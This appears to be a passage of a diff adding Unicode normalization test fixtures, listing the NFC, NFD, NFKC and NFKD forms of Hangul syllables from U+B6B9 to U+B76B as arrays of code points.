+{ source: [0xB6B9], NFC: [0xB6B9], NFD: [0x1104, 0x116F, 0x11A8], NFKC: [0xB6B9], NFKD: [0x1104, 0x116F, 0x11A8] },
+{ source: [0xB6BA], NFC: [0xB6BA], NFD: [0x1104, 0x116F, 0x11A9], NFKC: [0xB6BA], NFKD: [0x1104, 0x116F, 0x11A9] },
+{ source: [0xB6BB], NFC: [0xB6BB], NFD: [0x1104, 0x116F, 0x11AA], NFKC: [0xB6BB], NFKD: [0x1104, 0x116F, 0x11AA] },
+{ source: [0xB6BC], NFC: [0xB6BC], NFD: [0x1104, 0x116F, 0x11AB], NFKC: [0xB6BC], NFKD: [0x1104, 0x116F, 0x11AB] },
+{ source: [0xB6BD], NFC: [0xB6BD], NFD: [0x1104, 0x116F, 0x11AC], NFKC: [0xB6BD], NFKD: [0x1104, 0x116F, 0x11AC] },
+{ source: [0xB6BE], NFC: [0xB6BE], NFD: [0x1104, 0x116F, 0x11AD], NFKC: [0xB6BE], NFKD: [0x1104, 0x116F, 0x11AD] },
+{ source: [0xB6BF], NFC: [0xB6BF], NFD: [0x1104, 0x116F, 0x11AE], NFKC: [0xB6BF], NFKD: [0x1104, 0x116F, 0x11AE] },
+{ source: [0xB6C0], NFC: [0xB6C0], NFD: [0x1104, 0x116F, 0x11AF], NFKC: [0xB6C0], NFKD: [0x1104, 0x116F, 0x11AF] },
+{ source: [0xB6C1], NFC: [0xB6C1], NFD: [0x1104, 0x116F, 0x11B0], NFKC: [0xB6C1], NFKD: [0x1104, 0x116F, 0x11B0] },
+{ source: [0xB6C2], NFC: [0xB6C2], NFD: [0x1104, 0x116F, 0x11B1], NFKC: [0xB6C2], NFKD: [0x1104, 0x116F, 0x11B1] },
+{ source: [0xB6C3], NFC: [0xB6C3], NFD: [0x1104, 0x116F, 0x11B2], NFKC: [0xB6C3], NFKD: [0x1104, 0x116F, 0x11B2] },
+{ source: [0xB6C4], NFC: [0xB6C4], NFD: [0x1104, 0x116F, 0x11B3], NFKC: [0xB6C4], NFKD: [0x1104, 0x116F, 0x11B3] },
+{ source: [0xB6C5], NFC: [0xB6C5], NFD: [0x1104, 0x116F, 0x11B4], NFKC: [0xB6C5], NFKD: [0x1104, 0x116F, 0x11B4] },
+{ source: [0xB6C6], NFC: [0xB6C6], NFD: [0x1104, 0x116F, 0x11B5], NFKC: [0xB6C6], NFKD: [0x1104, 0x116F, 0x11B5] },
+{ source: [0xB6C7], NFC: [0xB6C7], NFD: [0x1104, 0x116F, 0x11B6], NFKC: [0xB6C7], NFKD: [0x1104, 0x116F, 0x11B6] },
+{ source: [0xB6C8], NFC: [0xB6C8], NFD: [0x1104, 0x116F, 0x11B7], NFKC: [0xB6C8], NFKD: [0x1104, 0x116F, 0x11B7] },
+{ source: [0xB6C9], NFC: [0xB6C9], NFD: [0x1104, 0x116F, 0x11B8], NFKC: [0xB6C9], NFKD: [0x1104, 0x116F, 0x11B8] },
+{ source: [0xB6CA], NFC: [0xB6CA], NFD: [0x1104, 0x116F, 0x11B9], NFKC: [0xB6CA], NFKD: [0x1104, 0x116F, 0x11B9] },
+{ source: [0xB6CB], NFC: [0xB6CB], NFD: [0x1104, 0x116F, 0x11BA], NFKC: [0xB6CB], NFKD: [0x1104, 0x116F, 0x11BA] },
+{ source: [0xB6CC], NFC: [0xB6CC], NFD: [0x1104, 0x116F, 0x11BB], NFKC: [0xB6CC], NFKD: [0x1104, 0x116F, 0x11BB] },
+{ source: [0xB6CD], NFC: [0xB6CD], NFD: [0x1104, 0x116F, 0x11BC], NFKC: [0xB6CD], NFKD: [0x1104, 0x116F, 0x11BC] },
+{ source: [0xB6CE], NFC: [0xB6CE], NFD: [0x1104, 0x116F, 0x11BD], NFKC: [0xB6CE], NFKD: [0x1104, 0x116F, 0x11BD] },
+{ source: [0xB6CF], NFC: [0xB6CF], NFD: [0x1104, 0x116F, 0x11BE], NFKC: [0xB6CF], NFKD: [0x1104, 0x116F, 0x11BE] },
+{ source: [0xB6D0], NFC: [0xB6D0], NFD: [0x1104, 0x116F, 0x11BF], NFKC: [0xB6D0], NFKD: [0x1104, 0x116F, 0x11BF] },
+{ source: [0xB6D1], NFC: [0xB6D1], NFD: [0x1104, 0x116F, 0x11C0], NFKC: [0xB6D1], NFKD: [0x1104, 0x116F, 0x11C0] },
+{ source: [0xB6D2], NFC: [0xB6D2], NFD: [0x1104, 0x116F, 0x11C1], NFKC: [0xB6D2], NFKD: [0x1104, 0x116F, 0x11C1] },
+{ source: [0xB6D3], NFC: [0xB6D3], NFD: [0x1104, 0x116F, 0x11C2], NFKC: [0xB6D3], NFKD: [0x1104, 0x116F, 0x11C2] },
+{ source: [0xB6D4], NFC: [0xB6D4], NFD: [0x1104, 0x1170], NFKC: [0xB6D4], NFKD: [0x1104, 0x1170] },
+{ source: [0xB6D5], NFC: [0xB6D5], NFD: [0x1104, 0x1170, 0x11A8], NFKC: [0xB6D5], NFKD: [0x1104, 0x1170, 0x11A8] },
+{ source: [0xB6D6], NFC: [0xB6D6], NFD: [0x1104, 0x1170, 0x11A9], NFKC: [0xB6D6], NFKD: [0x1104, 0x1170, 0x11A9] },
+{ source: [0xB6D7], NFC: [0xB6D7], NFD: [0x1104, 0x1170, 0x11AA], NFKC: [0xB6D7], NFKD: [0x1104, 0x1170, 0x11AA] },
+{ source: [0xB6D8], NFC: [0xB6D8], NFD: [0x1104, 0x1170, 0x11AB], NFKC: [0xB6D8], NFKD: [0x1104, 0x1170, 0x11AB] },
+{ source: [0xB6D9], NFC: [0xB6D9], NFD: [0x1104, 0x1170, 0x11AC], NFKC: [0xB6D9], NFKD: [0x1104, 0x1170, 0x11AC] },
+{ source: [0xB6DA], NFC: [0xB6DA], NFD: [0x1104, 0x1170, 0x11AD], NFKC: [0xB6DA], NFKD: [0x1104, 0x1170, 0x11AD] },
+{ source: [0xB6DB], NFC: [0xB6DB], NFD: [0x1104, 0x1170, 0x11AE], NFKC: [0xB6DB], NFKD: [0x1104, 0x1170, 0x11AE] },
+{ source: [0xB6DC], NFC: [0xB6DC], NFD: [0x1104, 0x1170, 0x11AF], NFKC: [0xB6DC], NFKD: [0x1104, 0x1170, 0x11AF] },
+{ source: [0xB6DD], NFC: [0xB6DD], NFD: [0x1104, 0x1170, 0x11B0], NFKC: [0xB6DD], NFKD: [0x1104, 0x1170, 0x11B0] },
+{ source: [0xB6DE], NFC: [0xB6DE], NFD: [0x1104, 0x1170, 0x11B1], NFKC: [0xB6DE], NFKD: [0x1104, 0x1170, 0x11B1] },
+{ source: [0xB6DF], NFC: [0xB6DF], NFD: [0x1104, 0x1170, 0x11B2], NFKC: [0xB6DF], NFKD: [0x1104, 0x1170, 0x11B2] },
+{ source: [0xB6E0], NFC: [0xB6E0], NFD: [0x1104, 0x1170, 0x11B3], NFKC: [0xB6E0], NFKD: [0x1104, 0x1170, 0x11B3] },
+{ source: [0xB6E1], NFC: [0xB6E1], NFD: [0x1104, 0x1170, 0x11B4], NFKC: [0xB6E1], NFKD: [0x1104, 0x1170, 0x11B4] },
+{ source: [0xB6E2], NFC: [0xB6E2], NFD: [0x1104, 0x1170, 0x11B5], NFKC: [0xB6E2], NFKD: [0x1104, 0x1170, 0x11B5] },
+{ source: [0xB6E3], NFC: [0xB6E3], NFD: [0x1104, 0x1170, 0x11B6], NFKC: [0xB6E3], NFKD: [0x1104, 0x1170, 0x11B6] },
+{ source: [0xB6E4], NFC: [0xB6E4], NFD: [0x1104, 0x1170, 0x11B7], NFKC: [0xB6E4], NFKD: [0x1104, 0x1170, 0x11B7] },
+{ source: [0xB6E5], NFC: [0xB6E5], NFD: [0x1104, 0x1170, 0x11B8], NFKC: [0xB6E5], NFKD: [0x1104, 0x1170, 0x11B8] },
+{ source: [0xB6E6], NFC: [0xB6E6], NFD: [0x1104, 0x1170, 0x11B9], NFKC: [0xB6E6], NFKD: [0x1104, 0x1170, 0x11B9] },
+{ source: [0xB6E7], NFC: [0xB6E7], NFD: [0x1104, 0x1170, 0x11BA], NFKC: [0xB6E7], NFKD: [0x1104, 0x1170, 0x11BA] },
+{ source: [0xB6E8], NFC: [0xB6E8], NFD: [0x1104, 0x1170, 0x11BB], NFKC: [0xB6E8], NFKD: [0x1104, 0x1170, 0x11BB] },
+{ source: [0xB6E9], NFC: [0xB6E9], NFD: [0x1104, 0x1170, 0x11BC], NFKC: [0xB6E9], NFKD: [0x1104, 0x1170, 0x11BC] },
+{ source: [0xB6EA], NFC: [0xB6EA], NFD: [0x1104, 0x1170, 0x11BD], NFKC: [0xB6EA], NFKD: [0x1104, 0x1170, 0x11BD] },
+{ source: [0xB6EB], NFC: [0xB6EB], NFD: [0x1104, 0x1170, 0x11BE], NFKC: [0xB6EB], NFKD: [0x1104, 0x1170, 0x11BE] },
+{ source: [0xB6EC], NFC: [0xB6EC], NFD: [0x1104, 0x1170, 0x11BF], NFKC: [0xB6EC], NFKD: [0x1104, 0x1170, 0x11BF] },
+{ source: [0xB6ED], NFC: [0xB6ED], NFD: [0x1104, 0x1170, 0x11C0], NFKC: [0xB6ED], NFKD: [0x1104, 0x1170, 0x11C0] },
+{ source: [0xB6EE], NFC: [0xB6EE], NFD: [0x1104, 0x1170, 0x11C1], NFKC: [0xB6EE], NFKD: [0x1104, 0x1170, 0x11C1] },
+{ source: [0xB6EF], NFC: [0xB6EF], NFD: [0x1104, 0x1170, 0x11C2], NFKC: [0xB6EF], NFKD: [0x1104, 0x1170, 0x11C2] },
+{ source: [0xB6F0], NFC: [0xB6F0], NFD: [0x1104, 0x1171], NFKC: [0xB6F0], NFKD: [0x1104, 0x1171] },
+{ source: [0xB6F1], NFC: [0xB6F1], NFD: [0x1104, 0x1171, 0x11A8], NFKC: [0xB6F1], NFKD: [0x1104, 0x1171, 0x11A8] },
+{ source: [0xB6F2], NFC: [0xB6F2], NFD: [0x1104, 0x1171, 0x11A9], NFKC: [0xB6F2], NFKD: [0x1104, 0x1171, 0x11A9] },
+{ source: [0xB6F3], NFC: [0xB6F3], NFD: [0x1104, 0x1171, 0x11AA], NFKC: [0xB6F3], NFKD: [0x1104, 0x1171, 0x11AA] },
+{ source: [0xB6F4], NFC: [0xB6F4], NFD: [0x1104, 0x1171, 0x11AB], NFKC: [0xB6F4], NFKD: [0x1104, 0x1171, 0x11AB] },
+{ source: [0xB6F5], NFC: [0xB6F5], NFD: [0x1104, 0x1171, 0x11AC], NFKC: [0xB6F5], NFKD: [0x1104, 0x1171, 0x11AC] },
+{ source: [0xB6F6], NFC: [0xB6F6], NFD: [0x1104, 0x1171, 0x11AD], NFKC: [0xB6F6], NFKD: [0x1104, 0x1171, 0x11AD] },
+{ source: [0xB6F7], NFC: [0xB6F7], NFD: [0x1104, 0x1171, 0x11AE], NFKC: [0xB6F7], NFKD: [0x1104, 0x1171, 0x11AE] },
+{ source: [0xB6F8], NFC: [0xB6F8], NFD: [0x1104, 0x1171, 0x11AF], NFKC: [0xB6F8], NFKD: [0x1104, 0x1171, 0x11AF] },
+{ source: [0xB6F9], NFC: [0xB6F9], NFD: [0x1104, 0x1171, 0x11B0], NFKC: [0xB6F9], NFKD: [0x1104, 0x1171, 0x11B0] },
+{ source: [0xB6FA], NFC: [0xB6FA], NFD: [0x1104, 0x1171, 0x11B1], NFKC: [0xB6FA], NFKD: [0x1104, 0x1171, 0x11B1] },
+{ source: [0xB6FB], NFC: [0xB6FB], NFD: [0x1104, 0x1171, 0x11B2], NFKC: [0xB6FB], NFKD: [0x1104, 0x1171, 0x11B2] },
+{ source: [0xB6FC], NFC: [0xB6FC], NFD: [0x1104, 0x1171, 0x11B3], NFKC: [0xB6FC], NFKD: [0x1104, 0x1171, 0x11B3] },
+{ source: [0xB6FD], NFC: [0xB6FD], NFD: [0x1104, 0x1171, 0x11B4], NFKC: [0xB6FD], NFKD: [0x1104, 0x1171, 0x11B4] },
+{ source: [0xB6FE], NFC: [0xB6FE], NFD: [0x1104, 0x1171, 0x11B5], NFKC: [0xB6FE], NFKD: [0x1104, 0x1171, 0x11B5] },
+{ source: [0xB6FF], NFC: [0xB6FF], NFD: [0x1104, 0x1171, 0x11B6], NFKC: [0xB6FF], NFKD: [0x1104, 0x1171, 0x11B6] },
+{ source: [0xB700], NFC: [0xB700], NFD: [0x1104, 0x1171, 0x11B7], NFKC: [0xB700], NFKD: [0x1104, 0x1171, 0x11B7] },
+{ source: [0xB701], NFC: [0xB701], NFD: [0x1104, 0x1171, 0x11B8], NFKC: [0xB701], NFKD: [0x1104, 0x1171, 0x11B8] },
+{ source: [0xB702], NFC: [0xB702], NFD: [0x1104, 0x1171, 0x11B9], NFKC: [0xB702], NFKD: [0x1104, 0x1171, 0x11B9] },
+{ source: [0xB703], NFC: [0xB703], NFD: [0x1104, 0x1171, 0x11BA], NFKC: [0xB703], NFKD: [0x1104, 0x1171, 0x11BA] },
+{ source: [0xB704], NFC: [0xB704], NFD: [0x1104, 0x1171, 0x11BB], NFKC: [0xB704], NFKD: [0x1104, 0x1171, 0x11BB] },
+{ source: [0xB705], NFC: [0xB705], NFD: [0x1104, 0x1171, 0x11BC], NFKC: [0xB705], NFKD: [0x1104, 0x1171, 0x11BC] },
+{ source: [0xB706], NFC: [0xB706], NFD: [0x1104, 0x1171, 0x11BD], NFKC: [0xB706], NFKD: [0x1104, 0x1171, 0x11BD] },
+{ source: [0xB707], NFC: [0xB707], NFD: [0x1104, 0x1171, 0x11BE], NFKC: [0xB707], NFKD: [0x1104, 0x1171, 0x11BE] },
+{ source: [0xB708], NFC: [0xB708], NFD: [0x1104, 0x1171, 0x11BF], NFKC: [0xB708], NFKD: [0x1104, 0x1171, 0x11BF] },
+{ source: [0xB709], NFC: [0xB709], NFD: [0x1104, 0x1171, 0x11C0], NFKC: [0xB709], NFKD: [0x1104, 0x1171, 0x11C0] },
+{ source: [0xB70A], NFC: [0xB70A], NFD: [0x1104, 0x1171, 0x11C1], NFKC: [0xB70A], NFKD: [0x1104, 0x1171, 0x11C1] },
+{ source: [0xB70B], NFC: [0xB70B], NFD: [0x1104, 0x1171, 0x11C2], NFKC: [0xB70B], NFKD: [0x1104, 0x1171, 0x11C2] },
+{ source: [0xB70C], NFC: [0xB70C], NFD: [0x1104, 0x1172], NFKC: [0xB70C], NFKD: [0x1104, 0x1172] },
+{ source: [0xB70D], NFC: [0xB70D], NFD: [0x1104, 0x1172, 0x11A8], NFKC: [0xB70D], NFKD: [0x1104, 0x1172, 0x11A8] },
+{ source: [0xB70E], NFC: [0xB70E], NFD: [0x1104, 0x1172, 0x11A9], NFKC: [0xB70E], NFKD: [0x1104, 0x1172, 0x11A9] },
+{ source: [0xB70F], NFC: [0xB70F], NFD: [0x1104, 0x1172, 0x11AA], NFKC: [0xB70F], NFKD: [0x1104, 0x1172, 0x11AA] },
+{ source: [0xB710], NFC: [0xB710], NFD: [0x1104, 0x1172, 0x11AB], NFKC: [0xB710], NFKD: [0x1104, 0x1172, 0x11AB] },
+{ source: [0xB711], NFC: [0xB711], NFD: [0x1104, 0x1172, 0x11AC], NFKC: [0xB711], NFKD: [0x1104, 0x1172, 0x11AC] },
+{ source: [0xB712], NFC: [0xB712], NFD: [0x1104, 0x1172, 0x11AD], NFKC: [0xB712], NFKD: [0x1104, 0x1172, 0x11AD] },
+{ source: [0xB713], NFC: [0xB713], NFD: [0x1104, 0x1172, 0x11AE], NFKC: [0xB713], NFKD: [0x1104, 0x1172, 0x11AE] },
+{ source: [0xB714], NFC: [0xB714], NFD: [0x1104, 0x1172, 0x11AF], NFKC: [0xB714], NFKD: [0x1104, 0x1172, 0x11AF] },
+{ source: [0xB715], NFC: [0xB715], NFD: [0x1104, 0x1172, 0x11B0], NFKC: [0xB715], NFKD: [0x1104, 0x1172, 0x11B0] },
+{ source: [0xB716], NFC: [0xB716], NFD: [0x1104, 0x1172, 0x11B1], NFKC: [0xB716], NFKD: [0x1104, 0x1172, 0x11B1] },
+{ source: [0xB717], NFC: [0xB717], NFD: [0x1104, 0x1172, 0x11B2], NFKC: [0xB717], NFKD: [0x1104, 0x1172, 0x11B2] },
+{ source: [0xB718], NFC: [0xB718], NFD: [0x1104, 0x1172, 0x11B3], NFKC: [0xB718], NFKD: [0x1104, 0x1172, 0x11B3] },
+{ source: [0xB719], NFC: [0xB719], NFD: [0x1104, 0x1172, 0x11B4], NFKC: [0xB719], NFKD: [0x1104, 0x1172, 0x11B4] },
+{ source: [0xB71A], NFC: [0xB71A], NFD: [0x1104, 0x1172, 0x11B5], NFKC: [0xB71A], NFKD: [0x1104, 0x1172, 0x11B5] },
+{ source: [0xB71B], NFC: [0xB71B], NFD: [0x1104, 0x1172, 0x11B6], NFKC: [0xB71B], NFKD: [0x1104, 0x1172, 0x11B6] },
+{ source: [0xB71C], NFC: [0xB71C], NFD: [0x1104, 0x1172, 0x11B7], NFKC: [0xB71C], NFKD: [0x1104, 0x1172, 0x11B7] },
+{ source: [0xB71D], NFC: [0xB71D], NFD: [0x1104, 0x1172, 0x11B8], NFKC: [0xB71D], NFKD: [0x1104, 0x1172, 0x11B8] },
+{ source: [0xB71E], NFC: [0xB71E], NFD: [0x1104, 0x1172, 0x11B9], NFKC: [0xB71E], NFKD: [0x1104, 0x1172, 0x11B9] },
+{ source: [0xB71F], NFC: [0xB71F], NFD: [0x1104, 0x1172, 0x11BA], NFKC: [0xB71F], NFKD: [0x1104, 0x1172, 0x11BA] },
+{ source: [0xB720], NFC: [0xB720], NFD: [0x1104, 0x1172, 0x11BB], NFKC: [0xB720], NFKD: [0x1104, 0x1172, 0x11BB] },
+{ source: [0xB721], NFC: [0xB721], NFD: [0x1104, 0x1172, 0x11BC], NFKC: [0xB721], NFKD: [0x1104, 0x1172, 0x11BC] },
+{ source: [0xB722], NFC: [0xB722], NFD: [0x1104, 0x1172, 0x11BD], NFKC: [0xB722], NFKD: [0x1104, 0x1172, 0x11BD] },
+{ source: [0xB723], NFC: [0xB723], NFD: [0x1104, 0x1172, 0x11BE], NFKC: [0xB723], NFKD: [0x1104, 0x1172, 0x11BE] },
+{ source: [0xB724], NFC: [0xB724], NFD: [0x1104, 0x1172, 0x11BF], NFKC: [0xB724], NFKD: [0x1104, 0x1172, 0x11BF] },
+{ source: [0xB725], NFC: [0xB725], NFD: [0x1104, 0x1172, 0x11C0], NFKC: [0xB725], NFKD: [0x1104, 0x1172, 0x11C0] },
+{ source: [0xB726], NFC: [0xB726], NFD: [0x1104, 0x1172, 0x11C1], NFKC: [0xB726], NFKD: [0x1104, 0x1172, 0x11C1] },
+{ source: [0xB727], NFC: [0xB727], NFD: [0x1104, 0x1172, 0x11C2], NFKC: [0xB727], NFKD: [0x1104, 0x1172, 0x11C2] },
+{ source: [0xB728], NFC: [0xB728], NFD: [0x1104, 0x1173], NFKC: [0xB728], NFKD: [0x1104, 0x1173] },
+{ source: [0xB729], NFC: [0xB729], NFD: [0x1104, 0x1173, 0x11A8], NFKC: [0xB729], NFKD: [0x1104, 0x1173, 0x11A8] },
+{ source: [0xB72A], NFC: [0xB72A], NFD: [0x1104, 0x1173, 0x11A9], NFKC: [0xB72A], NFKD: [0x1104, 0x1173, 0x11A9] },
+{ source: [0xB72B], NFC: [0xB72B], NFD: [0x1104, 0x1173, 0x11AA], NFKC: [0xB72B], NFKD: [0x1104, 0x1173, 0x11AA] },
+{ source: [0xB72C], NFC: [0xB72C], NFD: [0x1104, 0x1173, 0x11AB], NFKC: [0xB72C], NFKD: [0x1104, 0x1173, 0x11AB] },
+{ source: [0xB72D], NFC: [0xB72D], NFD: [0x1104, 0x1173, 0x11AC], NFKC: [0xB72D], NFKD: [0x1104, 0x1173, 0x11AC] },
+{ source: [0xB72E], NFC: [0xB72E], NFD: [0x1104, 0x1173, 0x11AD], NFKC: [0xB72E], NFKD: [0x1104, 0x1173, 0x11AD] },
+{ source: [0xB72F], NFC: [0xB72F], NFD: [0x1104, 0x1173, 0x11AE], NFKC: [0xB72F], NFKD: [0x1104, 0x1173, 0x11AE] },
+{ source: [0xB730], NFC: [0xB730], NFD: [0x1104, 0x1173, 0x11AF], NFKC: [0xB730], NFKD: [0x1104, 0x1173, 0x11AF] },
+{ source: [0xB731], NFC: [0xB731], NFD: [0x1104, 0x1173, 0x11B0], NFKC: [0xB731], NFKD: [0x1104, 0x1173, 0x11B0] },
+{ source: [0xB732], NFC: [0xB732], NFD: [0x1104, 0x1173, 0x11B1], NFKC: [0xB732], NFKD: [0x1104, 0x1173, 0x11B1] },
+{ source: [0xB733], NFC: [0xB733], NFD: [0x1104, 0x1173, 0x11B2], NFKC: [0xB733], NFKD: [0x1104, 0x1173, 0x11B2] },
+{ source: [0xB734], NFC: [0xB734], NFD: [0x1104, 0x1173, 0x11B3], NFKC: [0xB734], NFKD: [0x1104, 0x1173, 0x11B3] },
+{ source: [0xB735], NFC: [0xB735], NFD: [0x1104, 0x1173, 0x11B4], NFKC: [0xB735], NFKD: [0x1104, 0x1173, 0x11B4] },
+{ source: [0xB736], NFC: [0xB736], NFD: [0x1104, 0x1173, 0x11B5], NFKC: [0xB736], NFKD: [0x1104, 0x1173, 0x11B5] },
+{ source: [0xB737], NFC: [0xB737], NFD: [0x1104, 0x1173, 0x11B6], NFKC: [0xB737], NFKD: [0x1104, 0x1173, 0x11B6] },
+{ source: [0xB738], NFC: [0xB738], NFD: [0x1104, 0x1173, 0x11B7], NFKC: [0xB738], NFKD: [0x1104, 0x1173, 0x11B7] },
+{ source: [0xB739], NFC: [0xB739], NFD: [0x1104, 0x1173, 0x11B8], NFKC: [0xB739], NFKD: [0x1104, 0x1173, 0x11B8] },
+{ source: [0xB73A], NFC: [0xB73A], NFD: [0x1104, 0x1173, 0x11B9], NFKC: [0xB73A], NFKD: [0x1104, 0x1173, 0x11B9] },
+{ source: [0xB73B], NFC: [0xB73B], NFD: [0x1104, 0x1173, 0x11BA], NFKC: [0xB73B], NFKD: [0x1104, 0x1173, 0x11BA] },
+{ source: [0xB73C], NFC: [0xB73C], NFD: [0x1104, 0x1173, 0x11BB], NFKC: [0xB73C], NFKD: [0x1104, 0x1173, 0x11BB] },
+{ source: [0xB73D], NFC: [0xB73D], NFD: [0x1104, 0x1173, 0x11BC], NFKC: [0xB73D], NFKD: [0x1104, 0x1173, 0x11BC] },
+{ source: [0xB73E], NFC: [0xB73E], NFD: [0x1104, 0x1173, 0x11BD], NFKC: [0xB73E], NFKD: [0x1104, 0x1173, 0x11BD] },
+{ source: [0xB73F], NFC: [0xB73F], NFD: [0x1104, 0x1173, 0x11BE], NFKC: [0xB73F], NFKD: [0x1104, 0x1173, 0x11BE] },
+{ source: [0xB740], NFC: [0xB740], NFD: [0x1104, 0x1173, 0x11BF], NFKC: [0xB740], NFKD: [0x1104, 0x1173, 0x11BF] },
+{ source: [0xB741], NFC: [0xB741], NFD: [0x1104, 0x1173, 0x11C0], NFKC: [0xB741], NFKD: [0x1104, 0x1173, 0x11C0] },
+{ source: [0xB742], NFC: [0xB742], NFD: [0x1104, 0x1173, 0x11C1], NFKC: [0xB742], NFKD: [0x1104, 0x1173, 0x11C1] },
+{ source: [0xB743], NFC: [0xB743], NFD: [0x1104, 0x1173, 0x11C2], NFKC: [0xB743], NFKD: [0x1104, 0x1173, 0x11C2] },
+{ source: [0xB744], NFC: [0xB744], NFD: [0x1104, 0x1174], NFKC: [0xB744], NFKD: [0x1104, 0x1174] },
+{ source: [0xB745], NFC: [0xB745], NFD: [0x1104, 0x1174, 0x11A8], NFKC: [0xB745], NFKD: [0x1104, 0x1174, 0x11A8] },
+{ source: [0xB746], NFC: [0xB746], NFD: [0x1104, 0x1174, 0x11A9], NFKC: [0xB746], NFKD: [0x1104, 0x1174, 0x11A9] },
+{ source: [0xB747], NFC: [0xB747], NFD: [0x1104, 0x1174, 0x11AA], NFKC: [0xB747], NFKD: [0x1104, 0x1174, 0x11AA] },
+{ source: [0xB748], NFC: [0xB748], NFD: [0x1104, 0x1174, 0x11AB], NFKC: [0xB748], NFKD: [0x1104, 0x1174, 0x11AB] },
+{ source: [0xB749], NFC: [0xB749], NFD: [0x1104, 0x1174, 0x11AC], NFKC: [0xB749], NFKD: [0x1104, 0x1174, 0x11AC] },
+{ source: [0xB74A], NFC: [0xB74A], NFD: [0x1104, 0x1174, 0x11AD], NFKC: [0xB74A], NFKD: [0x1104, 0x1174, 0x11AD] },
+{ source: [0xB74B], NFC: [0xB74B], NFD: [0x1104, 0x1174, 0x11AE], NFKC: [0xB74B], NFKD: [0x1104, 0x1174, 0x11AE] },
+{ source: [0xB74C], NFC: [0xB74C], NFD: [0x1104, 0x1174, 0x11AF], NFKC: [0xB74C], NFKD: [0x1104, 0x1174, 0x11AF] },
+{ source: [0xB74D], NFC: [0xB74D], NFD: [0x1104, 0x1174, 0x11B0], NFKC: [0xB74D], NFKD: [0x1104, 0x1174, 0x11B0] },
+{ source: [0xB74E], NFC: [0xB74E], NFD: [0x1104, 0x1174, 0x11B1], NFKC: [0xB74E], NFKD: [0x1104, 0x1174, 0x11B1] },
+{ source: [0xB74F], NFC: [0xB74F], NFD: [0x1104, 0x1174, 0x11B2], NFKC: [0xB74F], NFKD: [0x1104, 0x1174, 0x11B2] },
+{ source: [0xB750], NFC: [0xB750], NFD: [0x1104, 0x1174, 0x11B3], NFKC: [0xB750], NFKD: [0x1104, 0x1174, 0x11B3] },
+{ source: [0xB751], NFC: [0xB751], NFD: [0x1104, 0x1174, 0x11B4], NFKC: [0xB751], NFKD: [0x1104, 0x1174, 0x11B4] },
+{ source: [0xB752], NFC: [0xB752], NFD: [0x1104, 0x1174, 0x11B5], NFKC: [0xB752], NFKD: [0x1104, 0x1174, 0x11B5] },
+{ source: [0xB753], NFC: [0xB753], NFD: [0x1104, 0x1174, 0x11B6], NFKC: [0xB753], NFKD: [0x1104, 0x1174, 0x11B6] },
+{ source: [0xB754], NFC: [0xB754], NFD: [0x1104, 0x1174, 0x11B7], NFKC: [0xB754], NFKD: [0x1104, 0x1174, 0x11B7] },
+{ source: [0xB755], NFC: [0xB755], NFD: [0x1104, 0x1174, 0x11B8], NFKC: [0xB755], NFKD: [0x1104, 0x1174, 0x11B8] },
+{ source: [0xB756], NFC: [0xB756], NFD: [0x1104, 0x1174, 0x11B9], NFKC: [0xB756], NFKD: [0x1104, 0x1174, 0x11B9] },
+{ source: [0xB757], NFC: [0xB757], NFD: [0x1104, 0x1174, 0x11BA], NFKC: [0xB757], NFKD: [0x1104, 0x1174, 0x11BA] },
+{ source: [0xB758], NFC: [0xB758], NFD: [0x1104, 0x1174, 0x11BB], NFKC: [0xB758], NFKD: [0x1104, 0x1174, 0x11BB] },
+{ source: [0xB759], NFC: [0xB759], NFD: [0x1104, 0x1174, 0x11BC], NFKC: [0xB759], NFKD: [0x1104, 0x1174, 0x11BC] },
+{ source: [0xB75A], NFC: [0xB75A], NFD: [0x1104, 0x1174, 0x11BD], NFKC: [0xB75A], NFKD: [0x1104, 0x1174, 0x11BD] },
+{ source: [0xB75B], NFC: [0xB75B], NFD: [0x1104, 0x1174, 0x11BE], NFKC: [0xB75B], NFKD: [0x1104, 0x1174, 0x11BE] },
+{ source: [0xB75C], NFC: [0xB75C], NFD: [0x1104, 0x1174, 0x11BF], NFKC: [0xB75C], NFKD: [0x1104, 0x1174, 0x11BF] },
+{ source: [0xB75D], NFC: [0xB75D], NFD: [0x1104, 0x1174, 0x11C0], NFKC: [0xB75D], NFKD: [0x1104, 0x1174, 0x11C0] },
+{ source: [0xB75E], NFC: [0xB75E], NFD: [0x1104, 0x1174, 0x11C1], NFKC: [0xB75E], NFKD: [0x1104, 0x1174, 0x11C1] },
+{ source: [0xB75F], NFC: [0xB75F], NFD: [0x1104, 0x1174, 0x11C2], NFKC: [0xB75F], NFKD: [0x1104, 0x1174, 0x11C2] },
+{ source: [0xB760], NFC: [0xB760], NFD: [0x1104, 0x1175], NFKC: [0xB760], NFKD: [0x1104, 0x1175] },
+{ source: [0xB761], NFC: [0xB761], NFD: [0x1104, 0x1175, 0x11A8], NFKC: [0xB761], NFKD: [0x1104, 0x1175, 0x11A8] },
+{ source: [0xB762], NFC: [0xB762], NFD: [0x1104, 0x1175, 0x11A9], NFKC: [0xB762], NFKD: [0x1104, 0x1175, 0x11A9] },
+{ source: [0xB763], NFC: [0xB763], NFD: [0x1104, 0x1175, 0x11AA], NFKC: [0xB763], NFKD: [0x1104, 0x1175, 0x11AA] },
+{ source: [0xB764], NFC: [0xB764], NFD: [0x1104, 0x1175, 0x11AB], NFKC: [0xB764], NFKD: [0x1104, 0x1175, 0x11AB] },
+{ source: [0xB765], NFC: [0xB765], NFD: [0x1104, 0x1175, 0x11AC], NFKC: [0xB765], NFKD: [0x1104, 0x1175, 0x11AC] },
+{ source: [0xB766], NFC: [0xB766], NFD: [0x1104, 0x1175, 0x11AD], NFKC: [0xB766], NFKD: [0x1104, 0x1175, 0x11AD] },
+{ source: [0xB767], NFC: [0xB767], NFD: [0x1104, 0x1175, 0x11AE], NFKC: [0xB767], NFKD: [0x1104, 0x1175, 0x11AE] },
+{ source: [0xB768], NFC: [0xB768], NFD: [0x1104, 0x1175, 0x11AF], NFKC: [0xB768], NFKD: [0x1104, 0x1175, 0x11AF] },
+{ source: [0xB769], NFC: [0xB769], NFD: [0x1104, 0x1175, 0x11B0], NFKC: [0xB769], NFKD: [0x1104, 0x1175, 0x11B0] },
+{ source: [0xB76A], NFC: [0xB76A], NFD: [0x1104, 0x1175, 0x11B1], NFKC: [0xB76A], NFKD: [0x1104, 0x1175, 0x11B1] },
+{ source: [0xB76B], NFC: [0xB76B], NFD: [0x1104, 0x1175, 0x11B2], NFKC: [0xB76B], NFKD: [0x1104, 0x1175, 0x11B2] },
